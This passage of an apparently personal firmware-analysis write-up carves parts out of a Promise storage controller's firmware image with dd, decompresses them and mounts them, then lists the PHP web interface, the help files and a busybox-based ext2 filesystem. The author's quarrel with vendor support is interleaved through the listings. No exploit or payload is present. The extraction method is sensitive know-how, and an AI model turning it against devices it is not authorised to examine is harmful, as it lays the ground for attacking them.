-rw-r--r-- 1 root root 141 Jan  1  1970 Out
-rw-r--r-- 1 root root 154 Jan  1  1970 Override
-rw-r--r-- 1 root root 125 Jan  1  1970 Propagated
-rw-r--r-- 1 root root 138 Jan  1  1970 PropertyUsage
-rw-r--r-- 1 root root 201 Jan  1  1970 Provider
-rw-r--r-- 1 root root 120 Jan  1  1970 Read
-rw-r--r-- 1 root root 179 Jan  1  1970 Required
-rw-r--r-- 1 root root 157 Jan  1  1970 Revision
-rw-r--r-- 1 root root 135 Jan  1  1970 Source
-rw-r--r-- 1 root root 156 Jan  1  1970 SourceType
-rw-r--r-- 1 root root 157 Jan  1  1970 Static
-rw-r--r-- 1 root root 149 Jan  1  1970 Syntax
-rw-r--r-- 1 root root 153 Jan  1  1970 SyntaxType
-rw-r--r-- 1 root root 159 Jan  1  1970 Terminal
-rw-r--r-- 1 root root 187 Jan  1  1970 TriggerType
-rw-r--r-- 1 root root 151 Jan  1  1970 Units
-rw-r--r-- 1 root root 143 Jan  1  1970 UnknownValues
-rw-r--r-- 1 root root 147 Jan  1  1970 UnsupportedValues
-rw-r--r-- 1 root root 149 Jan  1  1970 ValueMap
-rw-r--r-- 1 root root 167 Jan  1  1970 Values
-rw-r--r-- 1 root root 175 Jan  1  1970 Version
-rw-r--r-- 1 root root 160 Jan  1  1970 Weak
-rw-r--r-- 1 root root 122 Jan  1  1970 Write
 
part3/php:
total 5
-rwxr--r-- 1 root root  96 Jan  1  1970 index.html
drwxr-xr-x 1 1023  232 3816 Jan  1  1970 promise
 
part3/php/promise:
ls: cannot read symbolic link part3/php/promise/css: Input/output error
ls: cannot read symbolic link part3/php/promise/enclosureImages: Input/output error
ls: cannot read symbolic link part3/php/promise/icons: Input/output error
ls: cannot read symbolic link part3/php/promise/images: Input/output error
ls: cannot read symbolic link part3/php/promise/languages: Input/output error
total 1002
-rwxr--r-- 1 1023  232  909 Jan  1  1970 about.php
-rwxr--r-- 1 1023  232  3883 Jan  1  1970 admin.php
-rwxr--r-- 1 1023  232  9864 Jan  1  1970 arraya.php
-rwxr--r-- 1 1023  232  6880 Jan  1  1970 arrayc1.php
-rwxr--r-- 1 1023  232 16505 Jan  1  1970 arrayc2.php
-rwxr--r-- 1 1023  232  4230 Jan  1  1970 arrayc3.php
-rwxr--r-- 1 1023  232  2572 Jan  1  1970 arrayc.php
-rwxr--r-- 1 1023  232  2889 Jan  1  1970 arrayd.php
-rwxr--r-- 1 1023  232  8856 Jan  1  1970 array.php
-rwxr--r-- 1 1023  232  2401 Jan  1  1970 arrays.php
-rwxr--r-- 1 1023  232  3871 Jan  1  1970 arrayt.php
-rwxr--r-- 1 1023  232  2774 Jan  1  1970 battery.php
-rwxr--r-- 1 1023  232  3133 Jan  1  1970 batteryt.php
-rwxr--r-- 1 1023  232  5144 Jan  1  1970 bga.php
-rwxr--r-- 1 1023  232  4938 Jan  1  1970 bgat.php
-rwxr--r-- 1 1023  232  3207 Jan  1  1970 buzzer.php
-rwxr--r-- 1 1023  232  4085 Jan  1  1970 chapc.php
-rwxr--r-- 1 1023  232  2863 Jan  1  1970 chapd.php
-rwxr--r-- 1 1023  232  1689 Jan  1  1970 chap.php
-rwxr--r-- 1 1023  232 11685 Jan  1  1970 cim.php
-rwxr--r-- 1 1023  232  1850 Jan  1  1970 clearStat.php
-rwxr--r-- 1 1023  232  1438 Jan  1  1970 common2.php
-rwxr--r-- 1 1023  232 26936 Jan  1  1970 common.php
-rwxr--r-- 1 1023  232  1597 Jan  1  1970 confirm.php
-rwxr--r-- 1 1023  232  505 Jan  1  1970 contact.php
-rwxr--r-- 1 1023  232  8704 Jan  1  1970 controller.php
-rwxr--r-- 1 1023  232  5020 Jan  1  1970 controllers.php
-rwxr--r-- 1 1023  232  7061 Jan  1  1970 controllert.php
lrwxrwxrwx 1 root root    15 Jan  1  1970 css
-rwxr--r-- 1 1023  232  2345 Jan  1  1970 ctrlStat.php
-rwxr--r-- 1 1023  232  4096 Jan  1  1970 daemon.php
-rwxr--r-- 1 1023  232  819 Jan  1  1970 download.php
-rwxr--r-- 1 1023  232  9079 Jan  1  1970 email.php
lrwxrwxrwx 1 root root    27 Jan  1  1970 enclosureImages
-rwxr--r-- 1 1023  232 37565 Jan  1  1970 encl.php
-rwxr--r-- 1 1023  232  2386 Jan  1  1970 encls.php
-rwxr--r-- 1 1023  232  7468 Jan  1  1970 enclt.php
-rwxr--r-- 1 1023  232  6069 Jan  1  1970 errtable.php
-rwxr--r-- 1 1023  232  3477 Jan  1  1970 event0.php
-rwxr--r-- 1 1023  232  3000 Jan  1  1970 event.php
-rwxr--r-- 1 1023  232  6256 Jan  1  1970 events.php
-rwxr--r-- 1 1023  232 20072 Jan  1  1970 evtsubscribe.php
-rwxr--r-- 1 1023  232  2608 Jan  1  1970 export.php
-rwxr--r-- 1 1023  232  1802 Jan  1  1970 fcDevice.php
-rwxr--r-- 1 1023  232  1774 Jan  1  1970 fcInitiator.php
-rwxr--r-- 1 1023  232  1556 Jan  1  1970 fcNode.php
-rwxr--r-- 1 1023  232  2194 Jan  1  1970 fcPort.php
-rwxr--r-- 1 1023  232  5673 Jan  1  1970 fcPortt.php
-rwxr--r-- 1 1023  232  2248 Jan  1  1970 fcSFP.php
-rwxr--r-- 1 1023  232  2287 Jan  1  1970 fcStats.php
-rwxr--r-- 1 1023  232  2795 Jan  1  1970 flash.php
-rwxr--r-- 1 1023  232 11954 Jan  1  1970 front.php
-rwxr--r-- 1 1023  232  2729 Jan  1  1970 fru.php
-rwxr--r-- 1 1023  232  8251 Jan  1  1970 header.php
drw------- 1 1023  232  4856 Jan  1  1970 help
-rwxr--r-- 1 1023  232 10811 Jan  1  1970 helpmap.php
-rwxr--r-- 1 1023  232  3955 Jan  1  1970 home.php
lrwxrwxrwx 1 root root    17 Jan  1  1970 icons
lrwxrwxrwx 1 root root    18 Jan  1  1970 images
-rwxr--r-- 1 1023  232  5991 Jan  1  1970 import.php
-rwxr--r-- 1 1023  232    88 Jan  1  1970 index.html
-rwxr--r-- 1 1023  232  7549 Jan  1  1970 index.php
-rwxr--r-- 1 1023  232 15898 Jan  1  1970 initiatora.php
-rwxr--r-- 1 1023  232  2805 Jan  1  1970 initiatord.php
-rwxr--r-- 1 1023  232  1725 Jan  1  1970 initiator.php
-rwxr--r-- 1 1023  232  4177 Jan  1  1970 iNode.php
-rwxr--r-- 1 1023  232 10505 Jan  1  1970 iNodet.php
-rwxr--r-- 1 1023  232  2423 Jan  1  1970 iPort.php
-rwxr--r-- 1 1023  232  5611 Jan  1  1970 iPortStat.php
-rwxr--r-- 1 1023  232  2942 Jan  1  1970 iPortt.php
-rwxr--r-- 1 1023  232 10810 Jan  1  1970 iSession.php
-rwxr--r-- 1 1023  232  7005 Jan  1  1970 iSessionStat.php
-rwxr--r-- 1 1023  232  2202 Jan  1  1970 isnsn.php
-rwxr--r-- 1 1023  232  1951 Jan  1  1970 isns.php
-rwxr--r-- 1 1023  232  4187 Jan  1  1970 isnst.php
drw------- 1 1023  232  124 Jan  1  1970 js
-rwxr--r-- 1 1023  232  3531 Jan  1  1970 language.php
lrwxrwxrwx 1 root root    21 Jan  1  1970 languages
-rwxr--r-- 1 1023  232  2595 Jan  1  1970 ldbga.php
-rwxr--r-- 1 1023  232 13281 Jan  1  1970 ldcfg.php
-rwxr--r-- 1 1023  232  3526 Jan  1  1970 ldinit.php
-rwxr--r-- 1 1023  232  5147 Jan  1  1970 ldinitt.php
-rwxr--r-- 1 1023  232  3454 Jan  1  1970 ldrc.php
-rwxr--r-- 1 1023  232  3297 Jan  1  1970 ldrct.php
-rwxr--r-- 1 1023  232  1932 Jan  1  1970 ldsync.php
-rwxr--r-- 1 1023  232 11893 Jan  1  1970 lmm2.php
-rwxr--r-- 1 1023  232 13543 Jan  1  1970 lmmld2.php
-rwxr--r-- 1 1023  232  8857 Jan  1  1970 lmmldcfg.php
-rwxr--r-- 1 1023  232 34585 Jan  1  1970 lmmld.php
-rwxr--r-- 1 1023  232 19535 Jan  1  1970 lmm.php
-rwxr--r-- 1 1023  232  2529 Jan  1  1970 lmms2.php
-rwxr--r-- 1 1023  232  3000 Jan  1  1970 lmms.php
-rwxr--r-- 1 1023  232  5295 Jan  1  1970 lock.php
-rwxr--r-- 1 1023  232  4974 Jan  1  1970 logdrvc2.php
-rwxr--r-- 1 1023  232 24219 Jan  1  1970 logdrvc.php
-rwxr--r-- 1 1023  232  3644 Jan  1  1970 logdrvd.php
-rwxr--r-- 1 1023  232  7664 Jan  1  1970 logdrv.php
-rwxr--r-- 1 1023  232  2746 Jan  1  1970 logdrvs.php
-rwxr--r-- 1 1023  232  2469 Jan  1  1970 logdrvStat.php
-rwxr--r-- 1 1023  232  3327 Jan  1  1970 logdrvt.php
-rwxr--r-- 1 1023  232  7242 Jan  1  1970 migrate1.php
-rwxr--r-- 1 1023  232 22723 Jan  1  1970 migrate2.php
-rwxr--r-- 1 1023  232  5580 Jan  1  1970 migrate3.php
-rwxr--r-- 1 1023  232  1672 Jan  1  1970 migrate.php
-rwxr--r-- 1 1023  232  4973 Jan  1  1970 mpatrol.php
-rwxr--r-- 1 1023  232  4276 Jan  1  1970 net.php
-rwxr--r-- 1 1023  232 13913 Jan  1  1970 netsend.php
-rwxr--r-- 1 1023  232  8893 Jan  1  1970 nett.php
-rwxr--r-- 1 1023  232 10562 Jan  1  1970 phydrv.php
-rwxr--r-- 1 1023  232  5044 Jan  1  1970 phydrvs.php
-rwxr--r-- 1 1023  232  2506 Jan  1  1970 phydrvStat.php
-rwxr--r-- 1 1023  232  4888 Jan  1  1970 phydrvst.php
-rwxr--r-- 1 1023  232  5258 Jan  1  1970 phydrvt.php
-rwxr--r-- 1 1023  232  2380 Jan  1  1970 ping.php
-rwxr--r-- 1 1023  232  2952 Jan  1  1970 pPort.php
-rwxr--r-- 1 1023  232  3949 Jan  1  1970 pPortt.php
-rwxr--r-- 1 1023  232  2271 Jan  1  1970 pTarget.php
-rwxr--r-- 1 1023  232  3988 Jan  1  1970 rebuild.php
-rwxr--r-- 1 1023  232  8836 Jan  1  1970 rebuildt.php
-rwxr--r-- 1 1023  232  2296 Jan  1  1970 redirect.php
-rwxr--r-- 1 1023  232  1381 Jan  1  1970 restart.php
-rwxr--r-- 1 1023  232  9746 Jan  1  1970 restore.php
-rwxr--r-- 1 1023  232  8266 Jan  1  1970 sastopology.php
-rwxr--r-- 1 1023  232  2907 Jan  1  1970 scheduled.php
-rwxr--r-- 1 1023  232 27641 Jan  1  1970 schedule.php
-rwxr--r-- 1 1023  232  1863 Jan  1  1970 schedules.php
-rwxr--r-- 1 1023  232  1406 Jan  1  1970 screen.php
-rwxr--r-- 1 1023  232  2208 Jan  1  1970 services.php
-rwxr--r-- 1 1023  232  5374 Jan  1  1970 servicet.php
-rwxr--r-- 1 1023  232  4172 Jan  1  1970 session.php
-rwxr--r-- 1 1023  232  1424 Jan  1  1970 shutdown1.php
-rwxr--r-- 1 1023  232  895 Jan  1  1970 shutdown2.php
-rwxr--r-- 1 1023  232  3214 Jan  1  1970 shutdown.php
-rwxr--r-- 1 1023  232  1938 Jan  1  1970 slpi.php
-rwxr--r-- 1 1023  232  4106 Jan  1  1970 slp.php
-rwxr--r-- 1 1023  232  4196 Jan  1  1970 slpt.php
-rwxr--r-- 1 1023  232 15193 Jan  1  1970 snmp.php
-rwxr--r-- 1 1023  232  3467 Jan  1  1970 sparecheck.php
-rwxr--r-- 1 1023  232 18059 Jan  1  1970 sparec.php
-rwxr--r-- 1 1023  232  3597 Jan  1  1970 spared.php
-rwxr--r-- 1 1023  232  5200 Jan  1  1970 spare.php
-rwxr--r-- 1 1023  232  2820 Jan  1  1970 spares.php
-rwxr--r-- 1 1023  232  7241 Jan  1  1970 sparet.php
-rwxr--r-- 1 1023  232  2884 Jan  1  1970 subsystem.php
-rwxr--r-- 1 1023  232  3526 Jan  1  1970 subsystems.php
-rwxr--r-- 1 1023  232  4722 Jan  1  1970 subsystemt.php
-rwxr--r-- 1 1023  232 18544 Jan  1  1970 table.php
-rwxr--r-- 1 1023  232  2762 Jan  1  1970 tcp.php
-rwxr--r-- 1 1023  232  3459 Jan  1  1970 tcpt.php
-rwxr--r-- 1 1023  232  6908 Jan  1  1970 telnet.php
-rwxr--r-- 1 1023  232 12104 Jan  1  1970 tree2.php
-rwxr--r-- 1 1023  232 12250 Jan  1  1970 treeframe.php
-rwxr--r-- 1 1023  232 17046 Jan  1  1970 tree.php
-rwxr--r-- 1 1023  232 11873 Jan  1  1970 upload.php
-rwxr--r-- 1 1023  232  3739 Jan  1  1970 userc.php
-rwxr--r-- 1 1023  232  3694 Jan  1  1970 userd.php
-rwxr--r-- 1 1023  232  3571 Jan  1  1970 userp.php
-rwxr--r-- 1 1023  232  4137 Jan  1  1970 users.php
-rwxr--r-- 1 1023  232  4192 Jan  1  1970 usert.php
-rwxr--r-- 1 1023  232 11827 Jan  1  1970 webserver.php
 
part3/php/promise/help:
ls: cannot read symbolic link part3/php/promise/help/common.js: Input/output error
total 339
-rw-r--r-- 1 1023  232  2052 Jan  1  1970 AdaptiveWritebackCacheHelp.html
-rw-r--r-- 1 1023  232  3022 Jan  1  1970 AdministrativeToolsHelp.html
-rw-r--r-- 1 1023  232  2641 Jan  1  1970 CachePolicyHelp.html
-rw-r--r-- 1 1023  232  2097 Jan  1  1970 CapacityCoercionHelp.html
-rw-r--r-- 1 1023  232  2518 Jan  1  1970 CIMHelp.html
-rw-r--r-- 1 1023  232  828 Jan  1  1970 ClearStatisticsHelp.html
lrwxrwxrwx 1 root root    21 Jan  1  1970 common.js
-rw-r--r-- 1 1023  232  4388 Jan  1  1970 connectionProblemHelp.html
-rw-r--r-- 1 1023  232  2979 Jan  1  1970 contact.html
-rw-r--r-- 1 1023  232  2521 Jan  1  1970 ControllerInfoHelp.html
-rw-r--r-- 1 1023  232  1300 Jan  1  1970 ControllerInfoStatsHelp.html
-rw-r--r-- 1 1023  232  2558 Jan  1  1970 ControllerSettingsHelp.html
-rw-r--r-- 1 1023  232  1024 Jan  1  1970 ControllersInfoHelp.html
-rw-r--r-- 1 1023  232  1622 Jan  1  1970 DiskArrayBackgroundHelp.html
-rw-r--r-- 1 1023  232  3130 Jan  1  1970 DiskArrayCreateLDHelp.html
-rw-r--r-- 1 1023  232  1132 Jan  1  1970 DiskArrayDeleteLDHelp.html
-rw-r--r-- 1 1023  232  5615 Jan  1  1970 DiskArrayInfoHelp.html
-rw-r--r-- 1 1023  232  2918 Jan  1  1970 DiskArrayMigrationHelp.html
-rw-r--r-- 1 1023  232  4006 Jan  1  1970 DiskArraysCreateAdvHelp.html
-rw-r--r-- 1 1023  232  1797 Jan  1  1970 DiskArraysCreateAutoHelp.html
-rw-r--r-- 1 1023  232  3062 Jan  1  1970 DiskArraysCreateExpHelp.html
-rw-r--r-- 1 1023  232  1910 Jan  1  1970 DiskArraysCreateHelp.html
-rw-r--r-- 1 1023  232  1144 Jan  1  1970 DiskArraysDeleteHelp.html
-rw-r--r-- 1 1023  232  948 Jan  1  1970 DiskArraySettingsHelp.html
-rw-r--r-- 1 1023  232  1456 Jan  1  1970 DiskArraysInfoHelp.html
-rw-r--r-- 1 1023  232  1162 Jan  1  1970 DiskArrayTransportHelp.html
-rw-r--r-- 1 1023  232  2488 Jan  1  1970 EmailHelp.html
-rw-r--r-- 1 1023  232  2102 Jan  1  1970 EnclosureBatteryHelp.html
-rw-r--r-- 1 1023  232  2265 Jan  1  1970 EnclosureBuzzerHelp.html
-rw-r--r-- 1 1023  232  877 Jan  1  1970 EnclosureFRUVPDHelp.html
-rw-r--r-- 1 1023  232  1333 Jan  1  1970 EnclosureInfoHelp.html
-rw-r--r-- 1 1023  232  4096 Jan  1  1970 EnclosureProblemHelp.html
-rw-r--r-- 1 1023  232  1394 Jan  1  1970 EnclosureSettingsHelp.html
-rw-r--r-- 1 1023  232  1324 Jan  1  1970 EnclosuresInfoHelp.html
-rw-r--r-- 1 1023  232  9318 Jan  1  1970 FaqsHelp.html
-rw-r--r-- 1 1023  232  1817 Jan  1  1970 FCMgtInitiatorHelp.html
-rw-r--r-- 1 1023  232  1595 Jan  1  1970 FCMgtLoggedInDeviceHelp.html
-rw-r--r-- 1 1023  232  1287 Jan  1  1970 FCMgtNodeHelp.html
-rw-r--r-- 1 1023  232  2983 Jan  1  1970 FCMgtPortHelp.html
-rw-r--r-- 1 1023  232  2953 Jan  1  1970 FCMgtPortSettingsHelp.html
-rw-r--r-- 1 1023  232  1933 Jan  1  1970 FCMgtSFPHelp.html
-rw-r--r-- 1 1023  232  1792 Jan  1  1970 FCMgtStatisticHelp.html
-rw-r--r-- 1 1023  232  7071 Jan  1  1970 FibreChannelHelp.html
-rw-r--r-- 1 1023  232  810 Jan  1  1970 FRUHelp.html
-rw-r--r-- 1 1023  232  353 Jan  1  1970 help.css
-rw-r--r-- 1 1023  232  580 Jan  1  1970 HelpHelp.html
drw------- 1 1023  232    56 Jan  1  1970 helpImages
-rw-r--r-- 1 1023  232 10590 Jan  1  1970 HelpMenu.html
-rw-r--r-- 1 1023  232  1086 Jan  1  1970 help.php
-rw-r--r-- 1 1023  232  3105 Jan  1  1970 InitializationHelp.html
-rw-r--r-- 1 1023  232  2798 Jan  1  1970 iSCSIMgtCHAPHelp.html
-rw-r--r-- 1 1023  232  3342 Jan  1  1970 iSCSIMgtiSCSINodeHelp.html
-rw-r--r-- 1 1023  232  2165 Jan  1  1970 iSCSIMgtiSNSHelp.html
-rw-r--r-- 1 1023  232  952 Jan  1  1970 iSCSIMgtPingHelp.html
-rw-r--r-- 1 1023  232  1575 Jan  1  1970 iSCSIMgtPortsHelp.html
-rw-r--r-- 1 1023  232  2604 Jan  1  1970 iSCSIMgtPortStatsHelp.html
-rw-r--r-- 1 1023  232  1678 Jan  1  1970 iSCSIMgtSessionsHelp.html
-rw-r--r-- 1 1023  232  1866 Jan  1  1970 iSCSIMgtSLPHelp.html
-rw-r--r-- 1 1023  232  5813 Jan  1  1970 iSCSISessionHelp.html
-rw-r--r-- 1 1023  232  728 Jan  1  1970 LanguageHelp.html
-rw-r--r-- 1 1023  232  3104 Jan  1  1970 LD_DAStatusHelp.html
-rw-r--r-- 1 1023  232  3449 Jan  1  1970 LDDegradedHelp.html
-rw-r--r-- 1 1023  232  1914 Jan  1  1970 LDOfflineHelp.html
-rw-r--r-- 1 1023  232  1433 Jan  1  1970 LogicalDriveBackgroundHelp.html
-rw-r--r-- 1 1023  232  1769 Jan  1  1970 LogicalDriveCheckTableHelp.html
-rw-r--r-- 1 1023  232  5127 Jan  1  1970 LogicalDriveInfoHelp.html
-rw-r--r-- 1 1023  232  5082 Jan  1  1970 LogicalDriveLUNMapHelp.html
-rw-r--r-- 1 1023  232  1330 Jan  1  1970 LogicalDriveSettingsHelp.html
-rw-r--r-- 1 1023  232  3508 Jan  1  1970 LogicalDrivesInfoHelp.html
-rw-r--r-- 1 1023  232  3451 Jan  1  1970 LogicalDriveSummaryInfoHelp.html
-rw-r--r-- 1 1023  232  682 Jan  1  1970 LogoutHelp.html
-rw-r--r-- 1 1023  232  2498 Jan  1  1970 MediaPatrolHelp.html
-rw-r--r-- 1 1023  232  3386 Jan  1  1970 NetSendHelp.html
-rw-r--r-- 1 1023  232  1291 Jan  1  1970 NetworkMgtEthernetHelp.html
-rw-r--r-- 1 1023  232  1030 Jan  1  1970 NetworkMgtEthernetPortHelp.html
-rw-r--r-- 1 1023  232  1252 Jan  1  1970 NetworkMgtISCSIHelp.html
-rw-r--r-- 1 1023  232  1066 Jan  1  1970 NetworkMgtISCSIPortHelp.html
-rw-r--r-- 1 1023  232  3602 Jan  1  1970 PDMHelp.html
-rw-r--r-- 1 1023  232  1403 Jan  1  1970 PhysicalDriveClearHelp.html
-rw-r--r-- 1 1023  232  1291 Jan  1  1970 PhysicalDriveForceOfflineHelp.html
-rw-r--r-- 1 1023  232  4495 Jan  1  1970 PhysicalDriveInfoHelp.html
-rw-r--r-- 1 1023  232  931 Jan  1  1970 PhysicalDriveSettingsHelp.html
-rw-r--r-- 1 1023  232  1530 Jan  1  1970 PhysicalDrivesInfoHelp.html
-rw-r--r-- 1 1023  232  1232 Jan  1  1970 PhysicalDrivesSettingsHelp.html
-rw-r--r-- 1 1023  232  3596 Jan  1  1970 RAID50Axles.html
-rw-r--r-- 1 1023  232  6279 Jan  1  1970 RAIDconvert.html
-rw-r--r-- 1 1023  232  7746 Jan  1  1970 RAIDlevels.html
-rw-r--r-- 1 1023  232  2683 Jan  1  1970 RCHelp.html
-rw-r--r-- 1 1023  232  4343 Jan  1  1970 RebuildHelp.html
-rw-r--r-- 1 1023  232  1330 Jan  1  1970 RestoreDefaultsHelp.html
-rw-r--r-- 1 1023  232  1035 Jan  1  1970 SCSIMgtPortsHelp.html
-rw-r--r-- 1 1023  232  1602 Jan  1  1970 SCSIMgtPortsSettingsHelp.html
-rw-r--r-- 1 1023  232  1212 Jan  1  1970 SCSIMgtTargetsHelp.html
-rw-r--r-- 1 1023  232  3075 Jan  1  1970 SectorSizeHelp.html
-rw-r--r-- 1 1023  232  2919 Jan  1  1970 ShutdownHelp.html
-rw-r--r-- 1 1023  232  1364 Jan  1  1970 SLPHelp.html
-rw-r--r-- 1 1023  232  2472 Jan  1  1970 SNMPHelp.html
-rw-r--r-- 1 1023  232  1408 Jan  1  1970 SoftwareMgtExportHelp.html
-rw-r--r-- 1 1023  232  3315 Jan  1  1970 SoftwareMgtFirmwareUpdateHelp.html
-rw-r--r-- 1 1023  232  1778 Jan  1  1970 SoftwareMgtImportHelp.html
-rw-r--r-- 1 1023  232  2704 Jan  1  1970 SoftwareMgtServiceHelp.html
-rw-r--r-- 1 1023  232  2587 Jan  1  1970 SpareDriveInfoHelp.html
-rw-r--r-- 1 1023  232  1874 Jan  1  1970 SpareDrivesCreateHelp.html
-rw-r--r-- 1 1023  232  1186 Jan  1  1970 SpareDrivesDeleteHelp.html
-rw-r--r-- 1 1023  232  1629 Jan  1  1970 SpareDriveSettingsHelp.html
-rw-r--r-- 1 1023  232  2237 Jan  1  1970 SpareDrivesInfoHelp.html
-rw-r--r-- 1 1023  232  799 Jan  1  1970 SpareDriveSpareCheckHelp.html
-rw-r--r-- 1 1023  232  955 Jan  1  1970 SpareDrivesSpareCheckHelp.html
-rw-r--r-- 1 1023  232  1388 Jan  1  1970 StorageNetworkHelp.html
-rw-r--r-- 1 1023  232  2080 Jan  1  1970 StorageServicesInitiatorsHelp.html
-rw-r--r-- 1 1023  232  5466 Jan  1  1970 StorageServicesLUNMapHelp.html
-rw-r--r-- 1 1023  232  1794 Jan  1  1970 StripeSizeHelp.html
-rw-r--r-- 1 1023  232  2590 Jan  1  1970 SubsystemBackgroundHelp.html
-rw-r--r-- 1 1023  232  2429 Jan  1  1970 SubsystemEventHelp.html
-rw-r--r-- 1 1023  232  1092 Jan  1  1970 SubsystemInfoHelp.html
-rw-r--r-- 1 1023  232  2584 Jan  1  1970 SubsystemLockHelp.html
-rw-r--r-- 1 1023  232  2896 Jan  1  1970 SubsystemSchedulerHelp.html
-rw-r--r-- 1 1023  232  1344 Jan  1  1970 SubsystemSettingsHelp.html
-rw-r--r-- 1 1023  232  1545 Jan  1  1970 SubsystemsInfoHelp.html
-rw-r--r-- 1 1023  232  1384 Jan  1  1970 SynchronizationHelp.html
-rw-r--r-- 1 1023  232  1209 Jan  1  1970 TechBackHelp.html
-rw-r--r-- 1 1023  232  2027 Jan  1  1970 TelnetHelp.html
-rw-r--r-- 1 1023  232  1866 Jan  1  1970 TransitionHelp.html
-rw-r--r-- 1 1023  232  1210 Jan  1  1970 TroubleShootingHelp.html
-rw-r--r-- 1 1023  232  3432 Jan  1  1970 UiHelp.html
-rw-r--r-- 1 1023  232  2472 Jan  1  1970 UserMgtCreateHelp.html
-rw-r--r-- 1 1023  232  907 Jan  1  1970 UserMgtDeleteHelp.html
-rw-r--r-- 1 1023  232  3137 Jan  1  1970 UserMgtEventSubscriptionHelp.html
-rw-r--r-- 1 1023  232  1090 Jan  1  1970 UserMgtInfoHelp.html
-rw-r--r-- 1 1023  232  1073 Jan  1  1970 UserMgtPasswordHelp.html
-rw-r--r-- 1 1023  232  1290 Jan  1  1970 UserMgtSessionHelp.html
-rw-r--r-- 1 1023  232  841 Jan  1  1970 UserMgtSettingsHelp.html
-rw-r--r-- 1 1023  232  796 Jan  1  1970 ViewHelp.html
-rw-r--r-- 1 1023  232  2385 Jan  1  1970 WebServerHelp.html
-rw-r--r-- 1 1023  232  897 Jan  1  1970 YellowRedHelp.html
 
part3/php/promise/help/helpImages:
total 2
-rwxr--r-- 1 1023 232 535 Jan  1  1970 ball-back.gif
-rwxr--r-- 1 1023 232 732 Jan  1  1970 help-ball.jpg
 
part3/php/promise/js:
total 73
-rwxr--r-- 1 1023 232 27101 Jan  1  1970 overlib.js
-rwxr--r-- 1 1023 232 14201 Jan  1  1970 plib.js
-rwxr--r-- 1 1023 232  5202 Jan  1  1970 ua.js
-rwxr--r-- 1 1023 232 19329 Jan  1  1970 wz_jsgraphics.js
-rwxr--r-- 1 1023 232  7373 Jan  1  1970 xmlhttprequest.js
</pre>
</pre>


==== part 4 ====
When i told Promise about the issue, one of their support engineers had only this to say:
<pre>
<pre>
dd if=iv2p_all_20110303_16mb.img bs=1 skip=3528967 count=3159321 of=part4.bz2
"I just can repeat [to] you one more time, you should not even know the word 'islavista' related to this device."
bunzip2 part4.bz2
</pre>
<pre>
bunzip2: part4.bz2 is not a bzip2 file.
</pre>
</pre>


==== part 5 ====
Okay, that was a lie, it wasn't the only thing he said. He added:
<pre>
<pre>
dd if=iv2p_all_20110303_16mb.img bs=1 skip=6688288 count=4621205 of=part5.gz
"You need a new controller."
gunzip part5.gz
file part5
</pre>
</pre>
<pre>
O RLY? I don't think that replacing '''my''' hardware will fix an issue in '''your''' firmware.
part5: Linux rev 1.0 ext2 filesystem data, UUID=1e4f9d2b-b406-4a38-bbf8-8f1fcf52e5c7
</pre>
<pre>
mv part5 part5.ext2
mkdir part5
mount -o loop part5.ext2 part5/
ls -lR part5/
</pre>
<pre>
part5/:
total 29
drwxr-xr-x 2 root root  1024 Mar  3 03:45 bin
drwxr-xr-x 2 root root  6144 Mar  3 03:37 dev
drwxr-xr-x 5 root root  1024 Mar  3 03:51 etc
drwxr-xr-x 6 root root  1024 Mar  3 03:51 islavista
drwxr-xr-x 3 root root  1024 Mar  3 03:51 lib
drwx------ 2 root root 12288 Mar  3 03:51 lost+found
drwxr-xr-x 2 root root  1024 Mar  3 03:37 mnt
drwxr-xr-x 2 root root  1024 Mar  3 03:37 oem
drwxr-xr-x 2 root root  1024 Mar  3 03:37 proc
drwxr-xr-x 2 root root  1024 Mar  3 03:45 sbin
drwxr-xr-x 2 root root  1024 Mar  3 03:37 tmp
drwxr-xr-x 8 root root  1024 Mar  3 03:37 usr
drwxr-xr-x 4 root root  1024 Mar  3 03:37 var


part5/bin:
(Speaking of which, i'm still unsure if i should publish the whole conversation via their ticketing system, that will be pretty embarassing for them... they tried to convince me that my hardware is faulty and needs to be replaced. Yeah, right.)
total 540
lrwxrwxrwx 1 root root    12 Mar  3 03:51 addgroup -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 adduser -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 ash -> /bin/busybox
-rwxr-xr-x 1 root root 548128 Mar  3 03:45 busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 cat -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 chgrp -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 chmod -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 chown -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 cp -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 date -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 dd -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 delgroup -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 deluser -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 df -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 dmesg -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 echo -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 false -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 fgrep -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 grep -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 gunzip -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 gzip -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 hostname -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 ip -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 kill -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 ln -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 login -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 ls -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 mkdir -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 mknod -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 more -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 mount -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 mv -> /bin/busybox
